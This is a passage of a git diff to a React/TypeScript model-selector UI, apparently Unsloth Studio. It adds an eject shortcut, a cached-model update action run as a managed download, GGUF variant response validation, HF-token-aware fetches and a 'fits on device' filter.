             ) : confirmingDelete?.kind === "chat" ? (
               renderEmphasizedTranslation(
diff --git a/studio/frontend/src/components/assistant-ui/model-selector.tsx b/studio/frontend/src/components/assistant-ui/model-selector.tsx
index 8938f4dda7..1fddf077ba 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector.tsx
@@ -14,6 +14,7 @@ import { isCustomProviderType } from "@/features/chat/external-providers";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import {
+  CheckmarkCircle02Icon,
   CloudIcon,
   DashboardSquare01Icon,
   Download01Icon,
@@ -146,6 +147,7 @@ function ModelSelectorTrigger({
   size = "default",
   className,
   dataTour,
+  onEject,
 }: {
   currentModel?: ModelOption;
   isLoaded: boolean;
@@ -154,6 +156,7 @@ function ModelSelectorTrigger({
   size?: "sm" | "default" | "lg";
   className?: string;
   dataTour?: string;
+  onEject?: () => void;
 }) {
   return (
     <PopoverTrigger asChild={true}>
@@ -161,12 +164,15 @@ function ModelSelectorTrigger({
         type="button"
         data-tour={dataTour}
         className={cn(
-          "unsloth-model-selector-trigger flex min-w-0 items-center gap-2 transition-colors",
+          "unsloth-model-selector-trigger group/trigger flex min-w-0 items-center gap-2 transition-colors",
+          // Suppress the pill's hover background while the eject hit area is
+          // hovered, so only the dot's own circle reacts.
           variant === "outline" &&
-            "rounded-full border border-border/60 hover:bg-[#ececec] dark:hover:bg-[#2d2e32]",
+            "rounded-full border border-border/60 hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]",
           variant === "ghost" &&
-            "rounded-full hover:bg-[#ececec] dark:hover:bg-[#2d2e32]",
-          variant === "muted" && "rounded-full bg-muted hover:bg-muted/80",
+            "rounded-full hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]",
+          variant === "muted" &&
+            "rounded-full bg-muted hover:bg-muted/80 has-[[data-eject-hit]:hover]:!bg-muted",
           // More left padding than right; the chevron is pulled close to the
           // label (below) so the trigger reads balanced around the text.
           size === "sm" && "h-8 pl-3 pr-1.5 text-xs",
@@ -175,9 +181,44 @@ function ModelSelectorTrigger({
           className,
         )}
       >
-        {isLoaded && (
-          <span className="size-2 shrink-0 rounded-full bg-emerald-500" />
-        )}
+        {isLoaded &&
+          (onEject ? (
+            // Loaded status doubles as a mouse eject shortcut: green checkmark
+            // at rest, red eject icon on pill hover, click to eject. A plain
+            // span (no role/tabIndex) keeps it out of the trigger button's
+            // content model, which forbids focusable descendants. Keyboard and
+            // screen-reader users eject via the picker's "Eject model" button.
+            // aria-hidden marks it decorative; stopPropagation stops the
+            // popover from toggling. On touch (no hover) the eject icon and
+            // tooltip never reveal, so pointer-events-none disables the
+            // shortcut there and taps open the picker instead of ejecting.
+            <span
+              aria-hidden={true}
+              title="Eject model"
+              data-eject-hit={true}
+              onPointerDown={(event) => event.stopPropagation()}
+              onClick={(event) => {
+                event.stopPropagation();
+                onEject();
+              }}
+              // Hit area larger than the icon, with a hover circle. Negative
+              // margin keeps the icon in the dot's original spot.
+              className="-m-1 flex size-5 shrink-0 cursor-pointer items-center justify-center rounded-full transition-colors hover:bg-black/10 dark:hover:bg-white/10 [@media(hover:none)]:pointer-events-none"
+            >
+              <HugeiconsIcon
+                icon={CheckmarkCircle02Icon}
+                strokeWidth={1.75}
+                className="size-3.5 text-emerald-500 group-hover/trigger:hidden"
+              />
+              <HugeiconsIcon
+                icon={RemoveCircleIcon}
+                strokeWidth={1.75}
+                className="hidden size-3.5 text-red-500 group-hover/trigger:block"
+              />
+            </span>
+          ) : (
+            <span className="size-2 shrink-0 rounded-full bg-emerald-500" />
+          ))}
         {currentModel?.icon ? (
           <span className="flex shrink-0 items-center">
             {currentModel.icon}
@@ -644,6 +685,7 @@ export function ModelSelector({
         size={size}
         className={className}
         dataTour={triggerDataTour}
+        onEject={onEject ? handleEject : undefined}
       />
       <ModelSelectorContent
         open={open}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx
index d6afa30e05..4de96d3648 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx
@@ -1,16 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import {
-  AlertDialog,
-  AlertDialogAction,
-  AlertDialogCancel,
-  AlertDialogContent,
-  AlertDialogDescription,
-  AlertDialogFooter,
-  AlertDialogHeader,
-  AlertDialogTitle,
-} from "@/components/ui/alert-dialog";
+import { DeleteConfirmDialog } from "@/features/hub/catalog/download-card";
 import { cn } from "@/lib/utils";
 import { Delete02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -22,7 +13,6 @@ interface ModelDeleteActionProps {
   title: string;
   description: ReactNode;
   successMessage: string;
-  loadingLabel?: string;
   buttonClassName?: string;
   iconClassName?: string;
   disabled?: boolean;
@@ -35,7 +25,6 @@ export function ModelDeleteAction({
   title,
   description,
   successMessage,
-  loadingLabel = "Deleting...",
   buttonClassName,
   iconClassName,
   disabled = false,
@@ -85,33 +74,17 @@ export function ModelDeleteAction({
         />
       </button>
 
-      <AlertDialog
+      <DeleteConfirmDialog
         open={open}
         onOpenChange={(nextOpen) => {
           if (!nextOpen && deleting) return;
           setOpen(nextOpen);
         }}
-      >
-        <AlertDialogContent size="sm">
-          <AlertDialogHeader>
-            <AlertDialogTitle>{title}</AlertDialogTitle>
-            <AlertDialogDescription>{description}</AlertDialogDescription>
-          </AlertDialogHeader>
-          <AlertDialogFooter>
-            <AlertDialogCancel disabled={deleting}>No</AlertDialogCancel>
-            <AlertDialogAction
-              variant="destructive"
-              disabled={deleting}
-              onClick={(e) => {
-                e.preventDefault();
-                handleConfirm();
-              }}
-            >
-              {deleting ? loadingLabel : "Yes"}
-            </AlertDialogAction>
-          </AlertDialogFooter>
-        </AlertDialogContent>
-      </AlertDialog>
+        title={title}
+        description={description}
+        deleting={deleting}
+        onConfirm={() => void handleConfirm()}
+      />
     </>
   );
 }
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
new file mode 100644
index 0000000000..db7628777a
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
@@ -0,0 +1,103 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { subscribeJobListeners } from "@/features/hub/download-manager";
+import { UpdateConfirmDialog } from "@/features/hub/catalog/download-card";
+import { ggufVariantsMatch } from "@/features/hub/lib/model-identity";
+import { cn } from "@/lib/utils";
+import { RefreshCw } from "lucide-react";
+import { useCallback, useEffect, useRef, useState, type ReactNode } from "react";
+import { toast } from "sonner";
+
+interface ModelUpdateActionProps {
+  ariaLabel: string;
+  title: string;
+  description: ReactNode;
+  /** Repo + variant the update targets, so this action can refresh its caller
+   *  (clearing the "update available" cue) when the matching managed download
+   *  completes. `variant` is null for full-model (safetensors / MLX) rows. */
+  repoId: string;
+  variant?: string | null;
+  buttonClassName?: string;
+  iconClassName?: string;
+  disabled?: boolean;
+  /** Starts the update — which now runs as a managed download. Resolves once the
+   *  download has been handed to the download manager, NOT when it finishes. */
+  onConfirm: () => Promise<void> | void;
+  /** Fired when THIS repo+variant's managed update actually completes. */
+  onUpdated?: () => void;
+}
+
+export function ModelUpdateAction({
+  ariaLabel,
+  title,
+  description,
+  repoId,
+  variant = null,
+  buttonClassName,
+  iconClassName,
+  disabled = false,
+  onConfirm,
+  onUpdated,
+}: ModelUpdateActionProps) {
+  const [open, setOpen] = useState(false);
+
+  // Refresh the caller when this repo+variant's download finishes so the "update available" cue
+  // clears. A ref keeps the subscription stable across renders.
+  const onUpdatedRef = useRef(onUpdated);
+  onUpdatedRef.current = onUpdated;
+  useEffect(() => {
+    return subscribeJobListeners("model", repoId, {
+      onComplete: (completedVariant) => {
+        const matches = variant
+          ? ggufVariantsMatch(completedVariant, variant)
+          : !completedVariant;
+        if (matches) onUpdatedRef.current?.();
+      },
+    });
+  }, [repoId, variant]);
+
+  const handleConfirm = useCallback(() => {
+    // Start the re-download and close the dialog; the Downloads panel owns progress + cancel.
+    // Only a failure to START toasts (a failed download shows in the panel).
+    void Promise.resolve()
+      .then(onConfirm)
+      .catch((err) => {
+        toast.error(
+          err instanceof Error ? err.message : "Failed to start update",
+        );
+      });
+    setOpen(false);
+  }, [onConfirm]);
+
+  return (
+    <>
+      <button
+        type="button"
+        onClick={(e) => {
+          e.stopPropagation();
+          if (disabled) return;
+          setOpen(true);
+        }}
+        aria-label={ariaLabel}
+        disabled={disabled}
+        className={cn(
+          "shrink-0 rounded-md p-1.5 text-muted-foreground/60 transition-colors hover:bg-amber-500/10 hover:text-amber-700 dark:hover:bg-amber-500/15 dark:hover:text-amber-300",
+          disabled && "cursor-not-allowed opacity-40 hover:bg-transparent hover:text-muted-foreground/60",
+          buttonClassName,
+        )}
+      >
+        <RefreshCw className={cn("size-3.5", iconClassName)} />
+      </button>
+
+      <UpdateConfirmDialog
+        open={open}
+        onOpenChange={setOpen}
+        title={title}
+        description={description}
+        updating={false}
+        onConfirm={handleConfirm}
+      />
+    </>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 46b6fe2e63..9890c5f574 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { Checkbox } from "@/components/ui/checkbox";
 import { Input } from "@/components/ui/input";
 import { Spinner } from "@/components/ui/spinner";
 import {
@@ -23,18 +24,19 @@ import {
   listScanFolders,
   removeScanFolder,
 } from "@/features/chat/api/chat-api";
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import type {
   CachedGgufRepo,
   CachedModelRepo,
   LocalModelInfo,
 } from "@/features/chat/api/chat-api";
-import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import type { GgufVariantDetail } from "@/features/chat/types/api";
 import { DotTag } from "@/features/hub/catalog/dot-tag";
 import {
   type HubOption,
   HubOptionMenu,
 } from "@/features/hub/catalog/hub-option-menu";
+import { TransportConflictDialog } from "@/features/hub/catalog/transport-conflict-dialog";
 import { TrainIcon } from "@/features/hub/components/train-icon";
 import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
 import {
@@ -46,6 +48,11 @@ import { useOnlineStatus } from "@/features/hub/hooks/use-online-status";
 import { isHiddenModelId } from "@/features/hub/lib/hidden-models";
 import { classifyUnslothSupport } from "@/features/hub/lib/unsloth-support";
 import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
+import {
+  downloadManager,
+  jobKeyOf,
+  useDownloadManagerStore,
+} from "@/features/hub/download-manager";
 import { useDebouncedValue, useGpuInfo } from "@/hooks";
 import { extractParamLabel } from "@/lib/model-size";
 import { toast } from "@/lib/toast";
@@ -85,6 +92,7 @@ import {
   hasAnyCapability,
 } from "./model-capabilities";
 import { ModelDeleteAction } from "./model-delete-action";
+import { ModelUpdateAction } from "./model-update-action";
 import { ModelLoadSettingsAction } from "./model-load-settings-action";
 import {
   type ModelLoadTimes,
@@ -95,6 +103,7 @@ import {
   type FormatFilter,
   estimateQuantBytes,
   fitsDevice,
+  hfModelFitsDevice,
   isMlxId,
   isMobileVariant,
   isRecommendableFormat,
@@ -570,20 +579,72 @@ function ModelRow({
 
 // ── GGUF Variant Expander ────────────────────────────────────
 
+function isValidGgufVariant(variant: unknown): variant is GgufVariantDetail {
+  if (!variant || typeof variant !== "object") return false;
+  const candidate = variant as Partial<GgufVariantDetail>;
+  return (
+    typeof candidate.filename === "string" &&
+    candidate.filename.length > 0 &&
+    typeof candidate.quant === "string" &&
+    candidate.quant.length > 0 &&
+    typeof candidate.size_bytes === "number" &&
+    Number.isFinite(candidate.size_bytes) &&
+    candidate.size_bytes >= 0 &&
+    (candidate.downloaded === undefined ||
+      typeof candidate.downloaded === "boolean")
+  );
+}
+
+function normalizeGgufVariantsResponse(res: {
+  variants?: unknown;
+  default_variant?: unknown;
+  has_vision?: unknown;
+  context_length?: unknown;
+} | null | undefined): {
+  variants: GgufVariantDetail[];
+  defaultVariant: string | null;
+  hasVision: boolean;
+  contextLength: number | null;
+} {
+  const contextLength = res?.context_length;
+  return {
+    variants: (Array.isArray(res?.variants) ? res.variants : []).filter(
+      isValidGgufVariant,
+    ),
+    defaultVariant:
+      typeof res?.default_variant === "string" && res.default_variant.length > 0
+        ? res.default_variant
+        : null,
+    hasVision: res?.has_vision === true,
+    contextLength:
+      typeof contextLength === "number" &&
+      Number.isFinite(contextLength) &&
+      contextLength >= 0
+        ? contextLength
+        : null,
+  };
+}
+
+function ggufVariantExpectedBytes(variant: GgufVariantDetail): number {
+  const downloadBytes = variant.download_size_bytes;
+  return typeof downloadBytes === "number" &&
+    Number.isFinite(downloadBytes) &&
+    downloadBytes > 0
+    ? downloadBytes
+    : variant.size_bytes;
+}
+
 function GgufVariantExpander({
   repoId,
   onSelect,
   gpuGb,
   systemRamGb,
+  hfToken,
   parentOptionKey,
   onNavigatePastStart,
   onNavigatePastEnd,
-  onDeleteVariant,
   sourceOverride,
-  deleteVariantTitle = "Delete cached model?",
-  renderDeleteVariantDescription,
-  getDeleteVariantSuccessMessage,
-  deleteDisabled = false,
+  variantActions,
   onDevice = false,
   onHasVision,
 }: {
@@ -591,21 +652,42 @@ function GgufVariantExpander({
   onSelect: (id: string, meta: ModelSelectorChangeMeta) => void;
   gpuGb?: number;
   systemRamGb?: number;
+  /** HF token threaded into the variant fetch so private/gated repos resolve
+   *  their GGUF variants (and update badges). */
+  hfToken?: string;
   parentOptionKey?: string;
   onNavigatePastStart?: () => void;
   onNavigatePastEnd?: () => void;
-  onDeleteVariant?: (quant: string) => Promise<void> | void;
   sourceOverride?: ModelSelectorChangeMeta["source"];
-  deleteVariantTitle?: string;
-  renderDeleteVariantDescription?: (quant: string) => ReactNode;
-  getDeleteVariantSuccessMessage?: (quant: string) => string;
-  deleteDisabled?: boolean;
+  /** Update/delete actions for cached variant rows. Omitted by browse-only
+   *  expanders (Recommended, etc.) that don't manage on-disk variants. */
+  variantActions?: {
+    onUpdate?: (quant: string, expectedBytes: number) => Promise<void> | void;
+    updateTitle?: string;
+    renderUpdateDescription?: (quant: string) => ReactNode;
+    getUpdateSuccessMessage?: (quant: string) => string;
+    updateDisabled?: boolean;
+    onDelete?: (quant: string) => Promise<void> | void;
+    deleteTitle?: string;
+    renderDeleteDescription?: (quant: string) => ReactNode;
+    getDeleteSuccessMessage?: (quant: string) => string;
+    deleteDisabled?: boolean;
+  };
   /** On Device rows honor the Show all quantizations setting; Recommended and
    *  other browse lists always show every quant. */
   onDevice?: boolean;
   /** Report GGUF vision support up so the parent row can badge it. */
   onHasVision?: (hasVision: boolean) => void;
 }) {
+  const onUpdateVariant = variantActions?.onUpdate;
+  const updateVariantTitle = variantActions?.updateTitle ?? "Update cached model?";
+  const renderUpdateVariantDescription = variantActions?.renderUpdateDescription;
+  const updateDisabled = variantActions?.updateDisabled ?? false;
+  const onDeleteVariant = variantActions?.onDelete;
+  const deleteVariantTitle = variantActions?.deleteTitle ?? "Delete cached model?";
+  const renderDeleteVariantDescription = variantActions?.renderDeleteDescription;
+  const getDeleteVariantSuccessMessage = variantActions?.getDeleteSuccessMessage;
+  const deleteDisabled = variantActions?.deleteDisabled ?? false;
   const [variants, setVariants] = useState<GgufVariantDetail[] | null>(null);
   const [defaultVariant, setDefaultVariant] = useState<string | null>(null);
   const [hasVision, setHasVision] = useState(false);
@@ -613,20 +695,22 @@ function GgufVariantExpander({
   const [nativeContext, setNativeContext] = useState<number | null>(null);
   const [loading, setLoading] = useState(true);
   const [error, setError] = useState<string | null>(null);
+  const [refreshKey, setRefreshKey] = useState(0);
 
   useEffect(() => {
     let canceled = false;
     setLoading(true);
     setError(null);
 
-    listGgufVariants(repoId)
+    listGgufVariants(repoId, hfToken)
       .then((res) => {
         if (canceled) return;
-        setVariants(res.variants);
-        setDefaultVariant(res.default_variant);
-        setHasVision(res.has_vision);
-        onHasVision?.(res.has_vision);
-        setNativeContext(res.context_length ?? null);
+        const normalized = normalizeGgufVariantsResponse(res);
+        setVariants(normalized.variants);
+        setDefaultVariant(normalized.defaultVariant);
+        setHasVision(normalized.hasVision);
+        onHasVision?.(normalized.hasVision);
+        setNativeContext(normalized.contextLength);
       })
       .catch((err) => {
         if (canceled) return;
@@ -641,7 +725,7 @@ function GgufVariantExpander({
     return () => {
       canceled = true;
     };
-  }, [repoId]);
+  }, [repoId, refreshKey, hfToken]);
 
   // Covers Unix absolute (/), Windows drive (C:\, D:/), UNC (\\server), relative (./, ../), tilde (~/)
   const isLocalPath = /^(\/|\.{1,2}[\\\/]|~[\\\/]|[A-Za-z]:[\\\/]|\\\\)/.test(
@@ -694,19 +778,25 @@ function GgufVariantExpander({
   // If the recommended variant is OOM, pick the largest fitting one;
   // if all are OOM, recommend the smallest.
   const effectiveRecommended = useMemo(() => {
-    if (!variants || totalBudgetGb <= 0) return defaultVariant;
+    if (!variants || variants.length === 0 || totalBudgetGb <= 0) {
+      return defaultVariant;
+    }
     const defaultV = variants.find((v) => v.quant === defaultVariant);
     if (defaultV && getGgufFit(defaultV.size_bytes) !== "oom")
       return defaultVariant;
     // Largest non-OOM variant (best quality that fits)
-    const fitting = variants.filter((v) => getGgufFit(v.size_bytes) !== "oom");
+    const fitting = variants.filter(
+      (v) => getGgufFit(v.size_bytes) !== "oom",
+    );
     if (fitting.length > 0) {
       fitting.sort((a, b) => b.size_bytes - a.size_bytes);
       return fitting[0].quant;
     }
     // All OOM -- recommend smallest (most likely to partially run)
-    const sorted = [...variants].sort((a, b) => a.size_bytes - b.size_bytes);
-    return sorted[0].quant;
+    const sorted = [...variants].sort(
+      (a, b) => a.size_bytes - b.size_bytes,
+    );
+    return sorted[0]?.quant ?? defaultVariant;
   }, [variants, defaultVariant, totalBudgetGb, getGgufFit]);
 
   const sortedVariants = useMemo(() => {
@@ -817,6 +907,7 @@ function GgufVariantExpander({
         const fit = getGgufFit(v.size_bytes);
         const oom = fit === "oom";
         const tight = fit === "tight";
+        const expectedBytes = ggufVariantExpectedBytes(v);
         const keyBase = `${repoId}:${v.filename}`;
         const variantOptionKey = makeModelOptionKey("gguf-variant", keyBase);
         return (
@@ -825,7 +916,7 @@ function GgufVariantExpander({
               type="button"
               {...variantList.getOptionProps(variantOptionKey, false)}
               onClick={() =>
-                handleVariantClick(v.quant, v.downloaded, v.size_bytes)
+                handleVariantClick(v.quant, v.downloaded, expectedBytes)
               }
               className={cn(
                 "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full px-2 py-1 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
@@ -838,9 +929,16 @@ function GgufVariantExpander({
                   {v.quant}
                 </span>
                 {v.downloaded ? (
-                  <span className="ml-1.5 text-[9px] font-sans font-medium text-green-400">
-                    downloaded
-                  </span>
+                  <>
+                    <span className="ml-1.5 text-[9px] font-sans font-medium text-green-400">
+                      downloaded
+                    </span>
+                    {v.update_available ? (
+                      <span className="ml-1.5 text-[9px] font-sans font-medium text-amber-700 dark:text-amber-300">
+                        update available
+                      </span>
+                    ): null}
+                  </>
                 ) : v.quant === effectiveRecommended ? (
                   <span className="ml-1.5 text-[9px] font-sans font-medium text-primary/70">
                     recommended
@@ -863,6 +961,29 @@ function GgufVariantExpander({
                 </span>
               </span>
             </button>
+            {v.downloaded && v.update_available && onUpdateVariant && (
+              <ModelUpdateAction
+                ariaLabel={`Update ${repoId} ${v.quant}`}
+                title={updateVariantTitle}
+                description={
+                  renderUpdateVariantDescription?.(v.quant) ?? (
+                    <>
+                      This will update{" "}
+                      <span className="font-medium text-foreground">
+                        {repoId} ({v.quant})
+                      </span>{"."}
+                    </>
+                  )
+                }
+                repoId={repoId}
+                variant={v.quant}
+                buttonClassName="p-1"
+                iconClassName="size-3"
+                disabled={updateDisabled}
+                onConfirm={() => onUpdateVariant(v.quant, expectedBytes)}
+                onUpdated={() => setRefreshKey((key) => key + 1)}
+              />
+            )}
             {v.downloaded && (
               <ModelLoadSettingsAction
                 ariaLabel={`Inference settings for ${repoId} ${v.quant}`}
@@ -1061,6 +1182,17 @@ function localModelIsGguf(m: LocalModelInfo): boolean {
   );
 }
 
+function localPathTooltip(name: string, path: string): ReactNode {
+  return (
+    <>
+      <span className="block break-words">{name}</span>
+      <span className="block mt-1 text-[10px] text-muted-foreground break-all">
+        {path}
+      </span>
+    </>
+  );
+}
+
 /** Whether a local model is an MLX build (name hint). MLX runs on Mac only, so
  * callers gate visibility on the host being a Mac. */
 function localModelIsMlx(m: LocalModelInfo): boolean {
@@ -1115,18 +1247,22 @@ export function HubModelPicker({
   onEject?: () => void;
 }) {
   const gpu = useGpuInfo();
+  // Live model id from the runtime store (backend-mirrored active_model), not the dropdown
+  // highlight which can be a staged pick. Disables the update action for it.
+  const loadedModelId = useChatRuntimeStore((s) => s.params.checkpoint);
   // Last-loaded timestamps power the "Recent" sort (vs "Downloaded" = file date).
   const loadTimes = useModelLoadTimes(value);
   // Fade the list's top edge once scrolled, and its bottom edge while more
   // rows sit below the fold.
   const [listScrolled, setListScrolled] = useState(false);
   const [listMoreBelow, setListMoreBelow] = useState(false);
+  const hfToken = useHfTokenStore((s) => s.token);
   const [query, setQuery] = useState("");
   const debouncedQuery = useDebouncedValue(query);
   // Shared Hub search stack (the same hooks the Hub page uses) so the picker
   // and Hub run one implementation. Scoped to unsloth like the old listing.
   const online = useOnlineStatus();
-  const accessToken = useHfTokenStore((s) => s.token) || undefined;
+  const accessToken = hfToken || undefined;
   // Recommended section: a live unsloth listing sorted by the dropdown. The
   // same sort drives the search results so the dropdown works while searching.
   const [recommendedSort, setRecommendedSort] =
@@ -1203,6 +1339,9 @@ export function HubModelPicker({
   }, []);
   // When on, On Device GGUF repos show their quantizations without a click.
   const expandQuantizations = useChatRuntimeStore((s) => s.expandQuantizations);
+  // Shared with the Hub page: list only models sized within the device budget.
+  const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly);
+  const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly);
   // Repos the user clicked to collapse while expand-by-default is on. Kept in
   // memory only, so it resets on reload (and when the setting is toggled).
   const [collapsedGguf, setCollapsedGguf] = useState<Set<string>>(
@@ -1294,6 +1433,28 @@ export function HubModelPicker({
   const alreadyCached =
     _cachedGgufCache.length > 0 || _cachedModelsCache.length > 0;
   const [cachedReady, setCachedReady] = useState(alreadyCached);
+  const [updateConflictKey, setUpdateConflictKey] = useState<string | null>(
+    null,
+  );
+  const updateTransportConflict = useDownloadManagerStore((state) =>
+    updateConflictKey
+      ? (state.conflicts[updateConflictKey]?.info ?? null)
+      : null,
+  );
+  const cancelUpdateConflict = useCallback(() => {
+    if (updateConflictKey) downloadManager.cancelConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
+  const resumeUpdateConflict = useCallback(() => {
+    if (!updateConflictKey) return;
+    downloadManager.resumeConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
+  const restartUpdateConflict = useCallback(() => {
+    if (!updateConflictKey) return;
+    downloadManager.restartConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
 
   // LM Studio local models -- module-level cache, same pattern as above.
   const [lmStudioModels, setLmStudioModels] =
@@ -1416,14 +1577,39 @@ export function HubModelPicker({
         setCachedGguf(v);
       })
       .catch(() => {});
-    listCachedModels()
+    listCachedModels(hfToken || undefined)
       .then((v) => {
         _cachedModelsCache = v;
         setCachedModels(v);
       })
       .catch(() => {});
     refreshLocalModelsList();
-  }, [refreshLocalModelsList]);
+  }, [hfToken, refreshLocalModelsList]);
+
+  // Updates run as managed downloads (Downloads panel: progress + Cancel), not a blocking
+  // call. The worker pulls only changed blobs, so the cached copy stays usable until done.
+  const startManagedUpdate = useCallback((repoId: string, variant: string, expectedBytes: number) => {
+    return downloadManager
+      .requestStart({
+        kind: "model",
+        repoId,
+        variant,
+        expectedBytes,
+      })
+      .then((outcome) => {
+        if (outcome === "conflict") {
+          setUpdateConflictKey(jobKeyOf("model", repoId, variant));
+        } else if (outcome === "error") {
+          throw new Error("Failed to start update");
+        }
+      });
+  }, []);
+
+  const updateGgufVariant = useCallback(
+    (repoId: string, quant: string, expectedBytes: number) =>
+      startManagedUpdate(repoId, quant, expectedBytes),
+    [startManagedUpdate],
+  );
 
   useEffect(() => {
     // Always refresh LM Studio + custom folder models (not gated by alreadyCached).
@@ -1448,14 +1634,14 @@ export function HubModelPicker({
       })
       .catch(() => {})
       .finally(check);
-    listCachedModels()
+    listCachedModels(hfToken || undefined)
       .then((v) => {
         _cachedModelsCache = v;
         setCachedModels(v);
       })
       .catch(() => {})
       .finally(check);
-  }, [refreshLocalModelsList, refreshScanFolders]);
+  }, [hfToken, refreshLocalModelsList, refreshScanFolders]);
 
   // Hide downloaded models from the recommended list. Case-insensitive
   // since the HF cache lowercases repo IDs.
@@ -1530,34 +1716,19 @@ export function HubModelPicker({
       formatFilter === "all"
         ? rows.filter((r) => isRecommendableFormat(r.id, r.isGguf, isMac))
         : rows.filter((r) => matchesFormatFilter(r.id, r.isGguf, formatFilter));
-    if (recommendedSort !== "recommended") return rows;
+    // The "recommended" sort always applies the device-fit filter; the shared
+    // "Fits on device" tick extends it to the other sorts too.
+    if (recommendedSort !== "recommended" && !fitOnDeviceOnly) return rows;
     return rows.filter((r) => {
       // Downloaded models always show, regardless of device fit.
       if (downloadedSet.has(r.id.toLowerCase())) return true;
-      // Unified-memory hosts (Mac / no discrete GPU) still report system RAM,
-      // so fall back to that budget instead of skipping the fit check entirely.
-      const hasDeviceBudget =
-        gpu.memoryTotalGb > 0 || gpu.systemRamAvailableGb > 0;
-      if (!hasDeviceBudget) return true;
-      // GGUF/MLX repos rarely expose safetensors metadata, so fall back to the
-      // GGUF param count, then the repo name, for a size estimate. Anything we
-      // still cannot size is hidden (requireKnown) so over-budget models like a
-      // 1T GGUF don't slip into Recommended.
-      const params = r.totalParams ?? paramsFromId(r.id);
-      const sizeBytes =
-        r.estimatedSizeBytes ??
-        (params ? estimateQuantBytes(params) : undefined);
-      return fitsDevice({
-        sizeBytes,
-        gpuGb: gpu.memoryTotalGb,
-        systemRamGb: gpu.systemRamAvailableGb,
-        requireKnown: true,
-      });
+      return hfModelFitsDevice(r, gpu);
     });
   }, [
     recommendedSearch.results,
     downloadedSet,
     recommendedSort,
+    fitOnDeviceOnly,
     formatFilter,
     isMac,
     gpu,
@@ -1789,23 +1960,6 @@ export function HubModelPicker({
     [visibleCachedModelRows],
   );
 
-  // Recommended models that match the current search query
-  const filteredRecommendedIds = useMemo(() => {
-    if (!showHfSection) return [];
-    const q = normalizeForSearch(debouncedQuery.trim());
-    return recommendedIds
-      .filter((id) => normalizeForSearch(id).includes(q))
-      .filter((id) =>
-        matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
-      );
-  }, [
-    showHfSection,
-    debouncedQuery,
-    recommendedIds,
-    formatFilter,
-    isKnownGgufRepo,
-  ]);
-
   // Param counts come straight off the unsloth listings the picker already
   // loaded, so no extra per-id fetch is needed for the VRAM badges.
   const recommendedParamCountById = useMemo(() => {
@@ -1816,6 +1970,42 @@ export function HubModelPicker({
     return map;
   }, [results, recommendedSearch.results]);
 
+  // Recommended models that match the current search query
+  const filteredRecommendedIds = useMemo(() => {
+    if (!showHfSection) return [];
+    const q = normalizeForSearch(debouncedQuery.trim());
+    return recommendedIds
+      .filter((id) => normalizeForSearch(id).includes(q))
+      .filter((id) =>
+        matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
+      )
+      // Curated defaults obey the fit toggle like the live HF rows, else large
+      // defaults resurface in search results with the filter on.
+      .filter(
+        (id) =>
+          !fitOnDeviceOnly ||
+          downloadedSet.has(id.toLowerCase()) ||
+          hfModelFitsDevice(
+            {
+              id,
+              totalParams: recommendedParamCountById.get(id),
+              isGguf: isKnownGgufRepo(id),
+            },
+            gpu,
+          ),
+      );
+  }, [
+    showHfSection,
+    debouncedQuery,
+    recommendedIds,
+    formatFilter,
+    isKnownGgufRepo,
+    fitOnDeviceOnly,
+    downloadedSet,
+    recommendedParamCountById,
+    gpu,
+  ]);
+
   const recommendedSet = useMemo(
     () => new Set(filteredRecommendedIds),
     [filteredRecommendedIds],
@@ -1826,6 +2016,12 @@ export function HubModelPicker({
     if (!showHfSection || section !== "recommended") return [];
     return results
       .filter(isChatSupported)
+      .filter(
+        (r) =>
+          !fitOnDeviceOnly ||
+          downloadedSet.has(r.id.toLowerCase()) ||
+          hfModelFitsDevice(r, gpu),
+      )
       .map((result) => result.id)
       .filter((id) => !isHiddenModelId(id))
